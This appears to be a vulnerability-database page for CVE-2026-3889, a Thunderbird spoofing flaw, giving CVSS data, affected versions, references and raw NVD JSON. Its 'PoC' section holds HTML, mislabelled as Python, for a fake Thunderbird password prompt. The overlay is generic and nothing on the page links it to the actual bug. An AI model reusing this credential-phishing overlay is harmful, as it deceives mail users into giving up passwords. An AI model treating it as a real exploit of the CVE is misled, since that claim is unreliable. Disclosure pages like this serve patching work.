CVE-2026-3889

Description

Spoofing issue in Thunderbird. This vulnerability was fixed in Thunderbird 149 and Thunderbird 140.9.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:* - VULNERABLE

Mozilla Thunderbird < 149

Mozilla Thunderbird < 140.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for Thunderbird Spoofing Vulnerability (CVE-2026-3889)
This HTML code demonstrates how to overlay a fake security dialog.
-->
<html>
<body>
  <div style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0,0,0,0.6); z-index: 9999; display: flex; justify-content: center; align-items: center;">
    <div style="width: 400px; background-color: #f1f1f1; border: 1px solid #999; box-shadow: 0 4px 8px rgba(0,0,0,0.2); font-family: sans-serif;">
      <div style="background-color: #0078d7; color: white; padding: 10px; font-weight: bold;">Thunderbird Security Alert</div>
      <div style="padding: 20px; text-align: center;">
        <p>Your IMAP connection has expired. Please re-enter your password to continue receiving emails.</p>
        <input type="password" placeholder="Password" style="width: 90%; padding: 8px; margin-bottom: 10px;">
        <button onclick="alert('Credentials captured!')" style="padding: 8px 20px; background-color: #0078d7; color: white; border: none; cursor: pointer;">Reconnect</button>
      </div>
    </div>
  </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3889
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3889
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3889/
[4] VulDB https://vuldb.com/cve/CVE-2026-3889
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=2020723
[6] https://www.mozilla.org/security/advisories/mfsa2026-23/
[7] https://www.mozilla.org/security/advisories/mfsa2026-24/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3889", "sourceIdentifier": "[email protected]", "published": "2026-03-24T21:16:29.330", "lastModified": "2026-04-13T15:17:35.317", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Spoofing issue in Thunderbird. This vulnerability was fixed in Thunderbird 149 and Thunderbird 140.9."}, {"lang": "es", "value": "Problema de suplantación en Thunderbird. Esta vulnerabilidad afecta a Thunderbird < 149 y Thunderbird < 140.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.9.0", "matchCriteriaId": "4C0558B1-4113-45A8-8E37-A0793A67AD6D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "149.0", "matchCriteriaId": "40FE4697-89F1-46F6-8E28-41883647583B"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2020723", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-23/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-24/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}